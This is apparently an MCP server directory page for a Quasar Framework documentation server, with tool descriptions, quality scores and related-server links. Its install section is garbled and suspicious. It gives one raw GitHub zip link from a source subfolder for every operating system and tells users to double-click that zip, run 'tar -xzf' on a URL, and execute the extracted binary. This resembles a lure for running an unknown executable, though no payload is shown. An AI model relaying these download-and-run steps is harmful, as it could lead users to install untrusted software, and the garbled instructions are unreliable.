Provides access to documentation for the Quasar Framework, allowing users to browse and retrieve information about components, directives, plugins, and other framework features.
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type @ followed by the MCP server name and your instructions, e.g., "@quasar-docs-mcp-server show me Quasar's QCard component documentation"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
The quasar-docs-mcp-server is a simple tool that allows users to access documentation for the Quasar Framework. This server supports Claude Code and other tools that use the Model Context Protocol (MCP). It aims to make working with the Quasar Framework easier for everyone, even if you’re not a tech expert.
Related MCP server: MCP Framework Documentation Server
Before you start downloading, make sure your computer meets these basic requirements:
Operating System: Windows, macOS, or Linux
At least 100 MB of free disk space
Internet connection for download
To download the application, you need to go to the Releases page. You can find it here:
This page contains all available versions of the quasar-docs-mcp-server. You can choose the version that best suits your needs.
On the Releases page, you will see a list of versions with release notes. It’s a good idea to read the notes to understand what’s new or fixed in each version.
Look for the latest version. Click on the download link for your operating system. Depending on your system, the file name might look like one of these:
https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zip for Windows
https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zip for macOS
https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zip for Linux
Clicking the link will start the download process.
Locate the file you downloaded (usually in your Downloads folder).
Double-click the https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zip file to start the installation.
Follow the on-screen instructions to complete the installation.
Open the downloaded https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zip file.
Drag the application to your Applications folder.
You can find it in your Applications folder and open it from there.
Open a terminal window.
Navigate to the folder where you downloaded the https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zip file (usually Downloads).
Run the command tar -xzf https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zip to extract the files.
After extracting, navigate to the folder and run ./quasar-docs-mcp-server to start the application.
Once installed, you can start the application.
Windows Users: You can find the application in your Start Menu or on your Desktop.
macOS Users: Open the Applications folder and double-click the app.
Linux Users: After navigating to the folder where the app is located, type ./quasar-docs-mcp-server in the terminal.
After running the application, you will be greeted with a simple user interface. Here, you can access various documentation for the Quasar Framework. Use the provided links to browse through different sections.
Simple Interface: The quasar-docs-mcp-server has an easy-to-navigate interface, making it simple for anyone to find the information they need.
Supports Multiple Platforms: Available for Windows, macOS, and Linux, allowing any user to access Quasar documentation easily.
Updated Documentation: Enjoy access to the latest information on the Quasar Framework, ensuring you have the most current resources.
Works Offline: Once downloaded, you can access documentation without needing to be online.
Learn more about the Quasar Framework
Explore more about Model Context Protocol (MCP)
If you encounter any issues or have questions about using the quasar-docs-mcp-server, feel free to open an issue in the repository. We are here to help you.
For more information, visit the GitHub page or contact our support team.
Ready to get started? Download the application again from the link below:
Get documentation for a specific Quasar UI component.
Returns the full markdown documentation including API reference, props, events, slots, methods, and usage examples.
Args:
component (string, required): Component name. Accepts various formats:
With prefix: 'q-btn', 'q-input', 'q-dialog'
Without prefix: 'btn', 'input', 'dialog'
Common aliases: 'button' -> 'btn', 'modal' -> 'dialog', 'dropdown' -> 'select'
response_format ('markdown' | 'json'): Output format (default: 'markdown')
Returns: For markdown: Full component documentation with API details For JSON: { "component": string, // Original input "normalized_name": string, // Resolved component name "path": string, // File path in docs "url": string, // Quasar.dev URL "content": string, // Documentation content "truncated": boolean // Whether content was truncated }
Examples:
Get button docs: component="btn" or component="q-btn" or component="button"
Get dialog docs: component="dialog" or component="modal"
Get input docs: component="input" or component="textfield"
Errors:
Returns "Component not found" with suggestions if component doesn't exist
| Name | Required | Description | Default |
|---|---|---|---|
| component | Yes | Component name (e.g., 'btn', 'q-btn', 'input', 'q-input', 'dialog', 'button') | |
| response_format | No | Output format: 'markdown' for human-readable or 'json' for machine-readable | markdown |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Discloses return formats (markdown and JSON), parameter behavior (aliases, normalization), and error responses. No side effects mentioned, but as a read-only getter, transparency is adequate given no annotations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Well-structured with sections (Args, Returns, Examples, Errors), front-loaded purpose, and no redundant sentences. Each part adds value.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Covers purpose, parameters, return details, errors, and examples fully. Without an output schema, the description compensates by detailing both markdown and JSON structures.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Adds significant value beyond schema: describes accepted formats (with/without prefix, aliases) and details JSON return structure. Schema coverage is 100%, so baseline is 3, but extra context raises score.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states 'Get documentation for a specific Quasar UI component' with a specific verb and resource. It differentiates from sibling tools like 'quasar_get_page' which retrieves page docs, making purpose distinct.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Provides explicit usage context with examples and error handling ('Returns Component not found with suggestions'). Does not explicitly exclude alternatives but implies focus on component retrieval.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Get any Quasar documentation page by its path.
Use this for non-component documentation like style guides, plugins, CLI docs, getting started guides, etc.
Args:
path (string, required): Path to the documentation page. Examples:
'vue-components/btn' - Component docs
'style/color-palette' - Style documentation
'quasar-plugins/notify' - Plugin docs
'quasar-cli-vite/quasar-config-file' - CLI configuration
'start/installation' - Getting started
response_format ('markdown' | 'json'): Output format (default: 'markdown')
Returns: For markdown: Full page content with documentation For JSON: { "requested_path": string, // Original path input "resolved_path": string, // Actual file path found "url": string, // Quasar.dev URL "content": string, // Page content "truncated": boolean // Whether content was truncated }
Examples:
Get color palette: path="style/color-palette"
Get notify plugin: path="quasar-plugins/notify"
Get CLI config: path="quasar-cli-vite/quasar-config-file"
Errors:
Returns "Page not found" with suggestions if path doesn't exist
Automatically tries index.md for directory paths
| Name | Required | Description | Default |
|---|---|---|---|
| path | Yes | Path to the documentation page (e.g., 'vue-components/btn', 'style/color-palette', 'quasar-plugins/notify') | |
| response_format | No | Output format: 'markdown' for human-readable or 'json' for machine-readable | markdown |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It discloses input parameters, return formats (markdown/JSON with structure), error handling ('Page not found' with suggestions), and automatic index.md resolution for directory paths. This fully informs the agent of the tool's behavior.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is well-structured with clear sections (Args, Returns, Examples, Errors) and is front-loaded with the main purpose. It could be slightly more concise, but every sentence adds value. The organization aids quick scanning.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simplicity (2 parameters, no output schema), the description is complete. It covers return values, error cases, and examples. No critical information is missing for an agent to correctly invoke the tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description adds value by providing extensive examples for the 'path' parameter and explains the 'response_format' in detail, including the JSON return structure. This goes beyond the schema's simple type/enum descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it retrieves a Quasar documentation page by path. It distinguishes from siblings by specifying 'Use this for non-component documentation like style guides, plugins, CLI docs, getting started guides, etc.' This explicitly contrasts with quasar_get_component, which presumably handles component-specific docs.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides clear guidance on when to use this tool (non-component docs) and implicitly contrasts with siblings via examples. It does not explicitly state when not to use it or name alternatives, but the context with sibling tool names makes the usage boundaries reasonably clear.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
List all available Quasar documentation sections, or list pages within a specific section.
Use this to discover what documentation is available and navigate the docs structure.
Args:
section (string, optional): Show pages within a specific section (e.g., 'vue-components')
response_format ('markdown' | 'json'): Output format (default: 'markdown')
Returns: When listing all sections (no section parameter): For markdown: Formatted list of sections with titles, descriptions, and page counts For JSON: { "total_sections": number, "sections": [ { "name": string, // Section identifier (e.g., 'vue-components') "path": string, // URL path "title": string, // Human-readable title "description": string, // Section description "page_count": number // Number of pages in section } ] }
When listing pages in a section: For markdown: List of pages with titles and paths For JSON: { "section": string, "total_pages": number, "pages": [ { "title": string, "path": string, "url": string } ] }
Examples:
List all sections: (no parameters)
List component pages: section="vue-components"
List plugins: section="quasar-plugins"
Get JSON format: section="style", response_format="json"
Errors:
Returns available sections if specified section doesn't exist
| Name | Required | Description | Default |
|---|---|---|---|
| section | No | Optional: show pages within a specific section (e.g., 'vue-components') | |
| response_format | No | Output format: 'markdown' for human-readable or 'json' for machine-readable | markdown |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description fully discloses behavior: it details two distinct modes (listing sections vs. listing pages), specifies return formats (markdown and JSON), and explains error behavior (returns available sections on invalid section name).
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is well-organized with clear sections (Args, Returns, Examples, Errors) and is front-loaded with the main purpose. While slightly verbose, every sentence serves a purpose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a tool with no output schema, it thoroughly documents both markdown and JSON return structures for both usage modes. It covers all parameters, provides multiple examples, and addresses error handling. No gaps remain.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Although schema coverage is 100%, the description adds value by explaining each parameter's role with examples and default values. It clarifies how section works as an optional filter and describes response_format with enum options.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it lists all Quasar documentation sections or pages within a section. It distinguishes from siblings (quasar_get_component, quasar_get_page, quasar_search_docs) by focusing on navigation and discovery rather than retrieving specific content.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly says 'Use this to discover what documentation is available and navigate the docs structure.' It provides concrete examples for listing all sections, listing pages in a section, and even error handling when a specified section doesn't exist.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Search the Quasar documentation for topics, components, or features.
Returns a list of matching pages with titles, paths, sections, URLs, and relevance scores. Supports section filtering, pagination, and optional deep content search.
Args:
query (string, required): Search terms (e.g., 'button', 'form validation', 'dark mode')
section (string, optional): Limit to section (e.g., 'vue-components', 'style', 'quasar-plugins')
limit (number): Max results 1-50 (default: 10)
offset (number): Results to skip for pagination (default: 0)
include_content (boolean): Search file contents - slower but more thorough (default: false)
response_format ('markdown' | 'json'): Output format (default: 'markdown')
Returns: For markdown: Formatted list with titles, sections, paths, URLs For JSON: { "query": string, "section": string | undefined, "total": number, // Total matches found "count": number, // Results in this response "offset": number, // Current offset "limit": number, // Requested limit "has_more": boolean, // More results available "next_offset": number, // Offset for next page "results": [ { "title": string, "path": string, "section": string, "url": string, "snippet": string, // Context around match "score": number // Relevance score } ] }
Examples:
Find button docs: query="btn"
Find form components: query="form", section="vue-components"
Get next page: query="dialog", offset=10, limit=10
Deep search: query="validation", include_content=true
Errors:
Returns "No results found" if no matches
Returns available sections if section filter is invalid
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | Maximum number of results to return (default: 10, max: 50) | |
| query | Yes | Search query (e.g., 'button', 'form validation', 'dark mode') | |
| offset | No | Number of results to skip for pagination (default: 0) | |
| section | No | Optional: limit search to a specific section (e.g., 'vue-components', 'style', 'quasar-plugins') | |
| include_content | No | Whether to search within file contents (slower but more thorough) | |
| response_format | No | Output format: 'markdown' for human-readable or 'json' for machine-readable | markdown |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden. It comprehensively discloses behavior: pagination (limit, offset, has_more, next_offset), optional deep content search (include_content), error messages ('No results found', invalid section), and return format details. This covers all critical traits for effective use.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is well-structured with labeled sections (Args, Returns, Examples, Errors), front-loaded with the core purpose, and each sentence adds value. It is appropriately sized for the complexity (6 parameters, pagination, two output formats) and does not include unnecessary repetition or filler.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema, the description fully compensates by detailing the return structure for both markdown and JSON, including fields like total, has_more, snippet, score. It covers pagination, error handling, and provides comprehensive examples. The tool is search-based with moderate complexity, and the description addresses all necessary context for an agent to select and invoke it correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, but the description adds significant value beyond the schema. It lists parameters with their roles, provides examples of usage, explains the effect of include_content, details the return structure for both markdown and JSON, and specifies default values and constraints. The examples alone (e.g., 'Find button docs: query="btn"') greatly enhance understanding.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: 'Search the Quasar documentation for topics, components, or features.' It uses a specific verb ('Search') and resource ('Quasar documentation'), and the action is distinct from sibling tools (quasar_get_component, quasar_get_page) which retrieve individual items rather than searching.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides clear context for when to use this tool (searching documentation) through examples and parameter descriptions. However, it does not explicitly contrast with sibling tools or state when not to use it (e.g., when you know the exact component name, prefer quasar_get_component). The examples implicitly cover various use cases but lack explicit exclusion guidance.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
v1.0.1quasar_get_componentquasar_get_pagequasar_list_sectionsquasar_search_docsScored across 4 tools
Each tool serves a clearly distinct purpose: getting a component, getting a generic page, listing sections, and searching. There is no functional overlap.
All tools follow a consistent 'quasar_verb_noun' pattern (e.g., quasar_get_component, quasar_search_docs), with verbs clearly indicating the action.
Four tools is a compact but reasonable set for a documentation server. It covers the essential operations without being too sparse.
The set covers all key documentation needs: browsing sections, listing pages, retrieving specific docs (components and other pages), and searching. No obvious gaps.
Unclaimed servers have limited discoverability.
If you are the server author, to access and configure the admin panel.
Augments MCP Server - A comprehensive framework documentation provider for Claude Code
Query any docs site via MCP. Submit a URL, ask questions, get cited answers.
Query your own PDFs and documents from any MCP client. Every answer cites the page it came from.
Search and read the official MintMCP documentation, the enterprise MCP gateway.
